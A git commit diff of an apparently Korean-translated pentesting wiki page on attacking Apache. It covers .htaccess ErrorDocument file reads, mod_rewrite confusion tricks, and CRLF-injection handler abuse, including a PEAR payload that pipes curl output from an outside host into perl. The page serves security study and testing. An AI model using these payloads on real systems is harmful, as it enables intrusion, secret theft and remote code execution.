Translated ['', 'src/network-services-pentesting/pentesting-web/apache.m

2025-10-10 18:36:50 +00:00 · 2025-08-28 18:58:36 +00:00 · 2025-08-28 18:58:36 +00:00 · 18faa1cfaf
commit 18faa1cfaf
parent 96520c6c19
2 changed files with 440 additions and 395 deletions
--- a/src/linux-hardening/privilege-escalation/README.md
+++ b/src/linux-hardening/privilege-escalation/README.md
--- a/src/network-services-pentesting/pentesting-web/apache.md
+++ b/src/network-services-pentesting/pentesting-web/apache.md
@ -2,13 +2,13 @@

 {{#include ../../banners/hacktricks-training.md}}

-## 실행 가능한 PHP 확장
+## Executable PHP extensions

-Apache 서버가 실행하고 있는 확장을 확인하십시오. 이를 검색하려면 다음을 실행할 수 있습니다:
+Apache 서버에서 어떤 확장(extensions)이 실행되고 있는지 확인합니다. 검색하려면 다음을 실행하세요:
 ```bash
 grep -R -B1 "httpd-php" /etc/apache2
 ```
-또한, 이 구성을 찾을 수 있는 몇 가지 장소는:
+또한, 이 구성을 찾을 수 있는 몇몇 위치는 다음과 같습니다:
 ```bash
 /etc/apache2/mods-available/php5.conf
 /etc/apache2/mods-enabled/php5.conf
@ -21,19 +21,47 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con
 uid=1(daemon) gid=1(daemon) groups=1(daemon)
 Linux
 ```
-## 혼란 공격 <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
+## LFI via .htaccess ErrorDocument file provider (ap_expr)

-이러한 유형의 공격은 [**오렌지의 블로그 게시물에서**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) 소개되고 문서화되었으며, 다음은 요약입니다. "혼란" 공격은 기본적으로 Apache를 생성하는 수십 개의 모듈이 완벽하게 동기화되지 않는 방식을 악용하며, 그 중 일부가 예상치 못한 데이터를 수정하게 되면 이후 모듈에서 취약점이 발생할 수 있습니다.
+디렉터리의 .htaccess를 제어할 수 있고 해당 경로에 대해 AllowOverride가 FileInfo를 포함하면, ErrorDocument 안에서 ap_expr의 file() 함수를 사용해 404 응답을 임의의 로컬 파일 읽기로 바꿀 수 있습니다.

-### 파일 이름 혼란
+- 요구 사항:
+- Apache 2.4에서 expression parser (ap_expr)가 활성화되어 있어야 합니다(2.4의 기본값).
+- vhost/dir는 .htaccess가 ErrorDocument를 설정할 수 있도록 허용해야 합니다 (AllowOverride FileInfo).
+- Apache worker 사용자가 대상 파일을 읽을 수 있는 권한을 가져야 합니다.

-#### 잘림
+.htaccess payload:
+```apache
+# Optional marker header just to identify your tenant/request path
+Header always set X-Debug-Tenant "demo"
+# On any 404 under this directory, return the contents of an absolute filesystem path
+ErrorDocument 404 %{file:/etc/passwd}
+```
+해당 디렉터리 아래의 존재하지 않는 경로를 요청하면 트리거됩니다. 예를 들어 userdir-style hosting을 악용할 때:
+```bash
+curl -s http://target/~user/does-not-exist | sed -n '1,20p'
+```
+노트 및 팁:
+- 절대 경로만 작동합니다. 콘텐츠는 404 핸들러의 응답 본문으로 반환됩니다.
+- 실제 읽기 권한은 Apache 사용자(일반적으로 www-data/apache)의 권한입니다. 기본 설정에서는 /root/* 또는 /etc/shadow를 읽을 수 없습니다.
+- 설령 .htaccess가 root 소유여도, 상위 디렉터리가 테넌트 소유이고 이름 변경을 허용하면 원래 .htaccess의 이름을 바꾸고 SFTP/FTP로 자신의 대체 파일을 업로드할 수 있습니다:
+- rename .htaccess .htaccess.bk
+- put your malicious .htaccess
+- 이를 사용해 DocumentRoot 또는 vhost 구성 경로 아래의 애플리케이션 소스에서 비밀(DB creds, API keys 등)을 수집할 수 있습니다.

-**`mod_rewrite`**는 `r->filename`의 내용을 문자 `?` 이후로 잘라냅니다 ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). 이는 대부분의 모듈이 `r->filename`을 URL로 처리하기 때문에 완전히 잘못된 것은 아닙니다. 그러나 다른 경우에는 파일 경로로 처리되어 문제가 발생할 수 있습니다.
+## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>

- **경로 잘림**
+These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module.

-다음 규칙 예제와 같이 `mod_rewrite`를 악용하여 파일 시스템 내의 다른 파일에 접근할 수 있으며, 예상 경로의 마지막 부분을 제거하고 단순히 `?`를 추가할 수 있습니다:
+### Filename Confusion
+
+#### Truncation
+
+The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Bur in other occasions this will be treated as file path, which would cause a problem.
+
+- **Path Truncation**
+
+It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`:
 ```bash
 RewriteEngine On
 RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
@ -46,9 +74,9 @@ curl http://server/user/orange
 curl http://server/user/orange%2Fsecret.yml%3F
 # the output of file `/var/user/orange/secret.yml`
 ```
- **오해를 일으키는 RewriteFlag 할당**
+- **오도하는 RewriteFlag 할당**

-다음 리라이트 규칙에서 URL이 .php로 끝나는 한, php로 처리되고 실행됩니다. 따라서 `?` 문자 뒤에 .php로 끝나는 URL을 보내면서 경로에 악성 php 코드가 포함된 다른 유형의 파일(예: 이미지)을 로드하는 것이 가능합니다:
+다음 rewrite rule에서는 URL이 .php로 끝나는 한 해당 URL은 php로 취급되어 실행됩니다. 따라서 경로에 다른 유형의 파일(예: 이미지)을 로드하면서 `?` 문자 뒤에 .php로 끝나는 URL을 전송해 그 파일 안에 악성 php 코드를 포함시킬 수 있습니다:
 ```bash
 RewriteEngine On
 RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]
@ -61,9 +89,9 @@ curl http://server/upload/1.gif
 curl http://server/upload/1.gif%3fooo.php
 # GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
 ```
-#### **ACL 우회**
+#### **ACL Bypass**

-사용자가 접근할 수 없어야 하는 파일에 접근할 수 있는 가능성이 있으며, 접근이 거부되어야 하는 구성에서도 가능합니다:
+다음과 같은 설정 하에서 액세스가 거부되어야 함에도 불구하고 사용자가 접근해서는 안 되는 파일에 접근할 수 있다:
 ```xml
 <Files "admin.php">
 AuthType Basic
@ -72,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd"
 Require valid-user
 </Files>
 ```
-이것은 기본적으로 PHP-FPM이 `.php`로 끝나는 URL을 수신하기 때문입니다. 예를 들어 `http://server/admin.php%3Fooo.php`와 같이, PHP-FPM은 `?` 문자 이후의 모든 것을 제거하므로, 이전 규칙이 이를 금지했더라도 `/admin.php`를 로드할 수 있게 됩니다.
+이는 기본적으로 PHP-FPM이 `.php`로 끝나는 URL(예: `http://server/admin.php%3Fooo.php`)을 수신하고, PHP-FPM이 문자 `?` 이후의 모든 것을 제거하기 때문에, 앞의 URL은 이전 규칙이 이를 금지했더라도 `/admin.php`를 로드할 수 있게 된다.

-### DocumentRoot Confusion
+### DocumentRoot 혼동
 ```bash
 DocumentRoot /var/www/html
 RewriteRule  ^/html/(.*)$   /$1.html
 ```
-Apache에 대한 재미있는 사실은 이전 재작성 과정에서 documentRoot와 root 모두에서 파일에 접근하려고 시도한다는 것입니다. 따라서 `https://server/abouth.html`에 대한 요청은 파일 시스템에서 `/var/www/html/about.html`과 `/about.html`을 확인합니다. 이는 기본적으로 파일 시스템의 파일에 접근하는 데 악용될 수 있습니다.
+Apache에 대한 흥미로운 사실은 앞서의 rewrite가 documentRoot와 root 둘 다에서 파일에 접근하려고 시도한다는 것입니다. 따라서 `https://server/abouth.html`에 대한 요청은 파일 시스템에서 `/var/www/html/about.html`과 `/about.html`을 확인합니다. 이는 기본적으로 파일 시스템의 파일에 접근하는 데 악용될 수 있습니다.

 #### **서버 측 소스 코드 노출**

 - **CGI 소스 코드 노출**

-끝에 %3F를 추가하는 것만으로도 cgi 모듈의 소스 코드를 유출할 수 있습니다:
+끝에 %3F를 추가하기만 해도 cgi 모듈의 소스 코드를 leak할 수 있습니다:
 ```bash
 curl http://server/cgi-bin/download.cgi
 # the processed result from download.cgi
@ -95,62 +123,62 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
 # ...
 # # the source code of download.cgi
 ```
- **PHP 소스 코드 공개**
+- **PHP Source Code 공개**

-서버에 여러 도메인이 있고 그 중 하나가 정적 도메인인 경우, 이를 악용하여 파일 시스템을 탐색하고 php 코드를 유출할 수 있습니다:
+서버에 서로 다른 도메인이 있고 그 중 하나가 정적 도메인인 경우, 이는 파일 시스템을 횡단하여 php 코드를 leak하는 데 악용될 수 있습니다:
 ```bash
 # Leak the config.php file of the www.local domain from the static.local domain
 curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
 # the source code of config.php
 ```
-#### **로컬 가젯 조작**
+#### **Local Gadgets Manipulation**

-이전 공격의 주요 문제는 기본적으로 대부분의 파일 시스템에 대한 접근이 거부된다는 것입니다. 이는 Apache HTTP Server의 [구성 템플릿](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115)에서 확인할 수 있습니다:
+이전 공격의 주요 문제는 기본적으로 대부분의 파일 시스템 접근이 Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115)에서와 같이 거부된다는 점입니다:
 ```xml
 <Directory />
 AllowOverride None
 Require all denied
 </Directory>
 ```
-그러나 [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) 운영 체제는 기본적으로 `/usr/share`를 허용합니다:
+하지만 [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) 운영체제는 기본적으로 `/usr/share`를 허용합니다:
 ```xml
 <Directory /usr/share>
 AllowOverride None
 Require all granted
 </Directory>
 ```
-따라서 이러한 배포판에서 `/usr/share` 내부에 위치한 파일을 **악용할 수 있습니다.**
+따라서 이러한 배포판에서는 **`/usr/share` 내부에 위치한 파일을 악용할 수 있습니다.**

-**정보 유출을 위한 로컬 가젯**
+**Local Gadget to Information Disclosure**

- **websocketd**가 포함된 **Apache HTTP Server**는 **/usr/share/doc/websocketd/examples/php/**에 **dump-env.php** 스크립트를 노출할 수 있으며, 이는 민감한 환경 변수를 유출할 수 있습니다.
- **Nginx** 또는 **Jetty**가 있는 서버는 기본 웹 루트 아래에 위치한 민감한 웹 애플리케이션 정보를 노출할 수 있습니다:
+- **Apache HTTP Server**와 **websocketd**는 **/usr/share/doc/websocketd/examples/php/**에 있는 **dump-env.php** 스크립트를 노출할 수 있으며, 이는 민감한 환경 변수를 leak할 수 있습니다.
+- **Nginx** 또는 **Jetty**를 사용하는 서버는 기본 웹 루트가 **/usr/share** 아래에 배치되어 있어 민감한 웹 애플리케이션 정보를 노출할 수 있습니다(예: **web.xml**):
 - **/usr/share/nginx/html/**
 - **/usr/share/jetty9/etc/**
 - **/usr/share/jetty9/webapps/**

-**XSS를 위한 로컬 가젯**
+**Local Gadget to XSS**

- **LibreOffice가 설치된** Ubuntu Desktop에서 도움말 파일의 언어 전환 기능을 악용하면 **교차 사이트 스크립팅(XSS)**으로 이어질 수 있습니다. **/usr/share/libreoffice/help/help.html**에서 URL을 조작하면 악성 페이지나 이전 버전으로 리디렉션될 수 있습니다 **안전하지 않은 RewriteRule**을 통해.
+- **LibreOffice가 설치된 Ubuntu Desktop**에서는 도움말 파일의 언어 전환 기능을 악용하여 **Cross-Site Scripting (XSS)**으로 이어질 수 있습니다. **/usr/share/libreoffice/help/help.html**의 URL을 조작하면 **unsafe RewriteRule**을 통해 악성 페이지나 오래된 버전으로 리다이렉트될 수 있습니다.

-**LFI를 위한 로컬 가젯**
+**Local Gadget to LFI**

- PHP 또는 **JpGraph** 또는 **jQuery-jFeed**와 같은 특정 프론트엔드 패키지가 설치된 경우, 이들의 파일을 악용하여 **/etc/passwd**와 같은 민감한 파일을 읽을 수 있습니다:
+- PHP 또는 **JpGraph**, **jQuery-jFeed** 같은 일부 프론트엔드 패키지가 설치된 경우, 해당 파일들을 이용해 **/etc/passwd** 같은 민감한 파일을 읽을 수 있습니다:
 - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
 - **/usr/share/javascript/jquery-jfeed/proxy.php**
 - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**

-**SSRF를 위한 로컬 가젯**
+**Local Gadget to SSRF**

- **/usr/share/php/magpierss/scripts/magpie_debug.php**에 있는 **MagpieRSS의 magpie_debug.php**를 활용하면 SSRF 취약점을 쉽게 생성할 수 있으며, 이는 추가적인 공격의 게이트웨이를 제공합니다.
+- **MagpieRSS**의 **magpie_debug.php** (경로: **/usr/share/php/magpierss/scripts/magpie_debug.php**)를 이용하면 쉽게 SSRF 취약점을 만들 수 있으며, 이를 통해 추가적인 익스플로잇으로 이어질 수 있습니다.

-**RCE를 위한 로컬 가젯**
+**Local Gadget to RCE**

- **원격 코드 실행(RCE)**의 기회는 방대하며, 취약한 설치(예: 구식 **PHPUnit** 또는 **phpLiteAdmin**)가 있습니다. 이러한 것들은 임의의 코드를 실행하는 데 악용될 수 있으며, 로컬 가젯 조작의 광범위한 잠재력을 보여줍니다.
+- Remote Code Execution (RCE) 기회는 광범위하며, 오래된 **PHPUnit**이나 **phpLiteAdmin**와 같은 취약한 설치를 통해 임의 코드를 실행할 수 있습니다. 이는 로컬 가젯 조작의 광범위한 잠재력을 보여줍니다.

-#### **로컬 가젯에서의 탈옥**
+#### **Jailbreak from Local Gadgets**

-설치된 소프트웨어가 생성한 심볼릭 링크를 따라 허용된 폴더에서 탈옥하는 것도 가능합니다. 예를 들어:
+허용된 폴더에서 설치된 소프트웨어가 생성한 심볼릭 링크를 따라가면 jailbreak하는 것도 가능합니다. 예시:

 - **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
 - **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
@ -158,37 +186,37 @@ Require all granted
 - **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
 - **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`

-또한, 심볼릭 링크를 악용하여 **Redmine에서 RCE를 얻는 것이 가능했습니다.**
+또한, 심볼릭 링크를 악용하여 Redmine에서 **RCE**를 얻는 것이 가능했습니다.

-### 핸들러 혼동 <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
+### Handler Confusion <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>

-이 공격은 `AddHandler`와 `AddType` 지시어 간의 기능 중복을 악용하며, 두 지시어 모두 **PHP 처리를 활성화**하는 데 사용될 수 있습니다. 원래 이 지시어들은 서버의 내부 구조에서 서로 다른 필드(`r->handler` 및 `r->content_type`)에 영향을 미쳤습니다. 그러나 레거시 코드로 인해 Apache는 특정 조건에서 이 지시어들을 서로 교환하여 처리하며, 이전 것이 설정되고 후자가 설정되지 않은 경우 `r->content_type`을 `r->handler`로 변환합니다.
+이 공격은 `AddHandler`와 `AddType` 디렉티브 사이의 기능 겹침을 악용합니다. 두 디렉티브 모두 **PHP 처리 활성화**에 사용될 수 있습니다. 원래 이 디렉티브들은 서버 내부 구조의 서로 다른 필드(`r->handler` 및 `r->content_type`)에 영향을 주었습니다. 하지만 레거시 코드로 인해 특정 조건에서 Apache는 이 디렉티브들을 상호 교환적으로 처리하며, `r->content_type`가 설정되고 `r->handler`가 설정되지 않은 경우 `r->content_type`를 `r->handler`로 변환합니다.

-또한, Apache HTTP Server(`server/config.c#L420`)에서 `ap_run_handler()`를 실행하기 전에 `r->handler`가 비어 있으면 서버는 **`r->content_type`을 핸들러로 사용**하여 `AddType`과 `AddHandler`의 효과를 동일하게 만듭니다.
+또한 Apache HTTP Server(`server/config.c#L420`)에서는 `ap_run_handler()`를 실행하기 전에 `r->handler`가 비어 있으면 서버가 **r->content_type을 handler로 사용**하므로 `AddType`와 `AddHandler`가 사실상 동일한 효과를 갖게 됩니다.

-#### **PHP 소스 코드 유출을 위한 핸들러 덮어쓰기**
+#### **Overwrite Handler to Disclose PHP Source Code**

-[**이 발표**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf)에서는 클라이언트가 보낸 잘못된 `Content-Length`가 Apache가 실수로 **PHP 소스 코드를 반환**하게 만드는 취약점이 제시되었습니다. 이는 ModSecurity와 Apache Portable Runtime (APR)에서의 오류 처리 문제로 인해 발생했으며, 이중 응답이 `r->content_type`을 `text/html`로 덮어쓰게 됩니다.\
-ModSecurity가 반환 값을 제대로 처리하지 않기 때문에 PHP 코드를 반환하고 해석하지 않습니다.
+[**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf)에서는 클라이언트가 잘못된 **Content-Length**를 전송할 경우 Apache가 실수로 **PHP 소스 코드를 반환**할 수 있는 취약점이 발표되었습니다. 이는 ModSecurity와 Apache Portable Runtime(APR)의 오류 처리 문제로 인해 이중 응답이 발생하면서 `r->content_type`이 `text/html`로 덮어써졌기 때문입니다.\
+ModSecurity가 리턴 값을 제대로 처리하지 않기 때문에 PHP 코드를 반환하고 이를 해석하지 않습니다.

-#### **XXXX를 위한 핸들러 덮어쓰기**
+#### **Overwrite Handler to XXXX**

-TODO: Orange는 아직 이 취약점을 공개하지 않았습니다.
+TODO: Orange hasn't disclose this vulnerability yet

-### **임의 핸들러 호출**
+### **Invoke Arbitrary Handlers**

-공격자가 서버 응답에서 **`Content-Type`** 헤더를 제어할 수 있다면 **임의 모듈 핸들러를 호출**할 수 있습니다. 그러나 공격자가 이를 제어하는 시점에서 요청의 대부분의 과정은 완료됩니다. 그러나 **`Location` 헤더를 악용하여 요청 프로세스를 재시작하는 것이 가능합니다**. 왜냐하면 **r** 반환된 `Status`가 200이고 `Location` 헤더가 `/`로 시작하면 응답이 서버 측 리디렉션으로 처리되어야 하기 때문입니다.
+공격자가 서버 응답의 **Content-Type** 헤더를 제어할 수 있다면 임의의 모듈 핸들러를 **invoke**할 수 있습니다. 다만 공격자가 이를 제어할 시점에는 요청의 대부분 처리가 이미 수행된 상태일 것입니다. 그러나 **Location** 헤더를 악용해 요청 처리를 재시작하는 것이 가능한데, 반환된 `Status`가 200이고 `Location` 헤더가 `/`로 시작하면 응답은 서버 측 리다이렉션으로 처리되어 재처리됩니다.

-[RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (CGI에 대한 명세)에서 [섹션 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2)는 로컬 리디렉션 응답 동작을 정의합니다:
+RFC 3875(CGI에 대한 명세)에 따르면 [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2)는 Local Redirect Response 동작을 정의합니다:

-> CGI 스크립트는 로컬 리소스에 대한 URI 경로와 쿼리 문자열(‘local-pathquery’)을 Location 헤더 필드에 반환할 수 있습니다. 이는 서버에 지정된 경로를 사용하여 요청을 재처리해야 함을 나타냅니다.
+> The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.

-따라서 이 공격을 수행하기 위해서는 다음 중 하나의 취약점이 필요합니다:
+따라서 이 공격을 수행하려면 다음 중 하나의 취약점이 필요합니다:

- CGI 응답 헤더에서 CRLF 주입
- 응답 헤더에 대한 완전한 제어가 있는 SSRF
+- CRLF Injection in the CGI response headers
+- SSRF with complete control of the response headers

-#### **정보 유출을 위한 임의 핸들러**
+#### **Arbitrary Handler to Information Disclosure**

 예를 들어 `/server-status`는 로컬에서만 접근 가능해야 합니다:
 ```xml
@ -197,16 +225,16 @@ SetHandler server-status
 Require local
 </Location>
 ```
-`Content-Type`를 `server-status`로 설정하고 Location 헤더를 `/`로 시작하도록 설정하면 접근할 수 있습니다.
+`Content-Type`을 `server-status`로 설정하고 Location 헤더를 `/`로 시작하게 하면 접근할 수 있습니다.
 ```
 http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
 Location:/ooo %0d%0a
 Content-Type:server-status %0d%0a
 %0d%0a
 ```
-#### **임의 핸들러를 통한 전체 SSRF**
+#### **임의 핸들러에서 Full SSRF로**

-`mod_proxy`로 리디렉션하여 모든 URL의 모든 프로토콜에 접근:
+`mod_proxy`를 사용해 어떤 URL의 어떤 프로토콜에도 접근하도록 리다이렉트:
 ```
 http://server/cgi-bin/redir.cgi?r=http://%0d%0a
 Location:/ooo %0d%0a
@ -215,20 +243,20 @@ http://example.com/%3F
 %0d%0a
 %0d%0a
 ```
-그러나 `X-Forwarded-For` 헤더가 추가되어 클라우드 메타데이터 엔드포인트에 대한 접근을 방지합니다.
+하지만, `X-Forwarded-For` 헤더가 추가되어 클라우드 메타데이터 엔드포인트에 접근하는 것이 방해됩니다.

-#### **로컬 유닉스 도메인 소켓에 접근하기 위한 임의 핸들러**
+#### **Arbitrary Handler to Access Local Unix Domain Socket**

-PHP-FPM의 로컬 유닉스 도메인 소켓에 접근하여 `/tmp/`에 위치한 PHP 백도어를 실행합니다:
+PHP-FPM의 local Unix Domain Socket에 접근하여 `/tmp/`에 있는 PHP backdoor를 실행합니다:
 ```
 http://server/cgi-bin/redir.cgi?r=http://%0d%0a
 Location:/ooo %0d%0a
 Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
 %0d%0a
 ```
-#### **임의 핸들러를 통한 RCE**
+#### **Arbitrary Handler to RCE**

-공식 [PHP Docker](https://hub.docker.com/_/php) 이미지에는 PEAR(`Pearcmd.php`)가 포함되어 있으며, 이는 RCE를 얻기 위해 악용될 수 있는 명령줄 PHP 패키지 관리 도구입니다:
+공식 [PHP Docker](https://hub.docker.com/_/php) 이미지에는 PEAR (`Pearcmd.php`)가 포함되어 있으며, 이는 명령줄 PHP 패키지 관리 도구로서 RCE를 얻기 위해 악용될 수 있습니다:
 ```
 http://server/cgi-bin/redir.cgi?r=http://%0d%0a
 Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
@ -237,10 +265,13 @@ orange.tw/x|perl
 Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
 %0d%0a
 ```
-[**Docker PHP LFI 요약**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)를 작성한 [Phith0n](https://x.com/phithon_xg)에서 이 기술에 대한 자세한 내용을 확인하세요.
+이 기법의 세부 내용은 작성자 [Phith0n](https://x.com/phithon_xg)이 쓴 [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)를 확인하세요.

-## 참고문헌
+## 참고자료

 - [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
+- [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html)
+- [Apache 2.4 Expressions and functions (file:)](https://httpd.apache.org/docs/2.4/expr.html)
+- [HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse](https://0xdf.gitlab.io/2025/08/12/htb-zero.html)

 {{#include ../../banners/hacktricks-training.md}}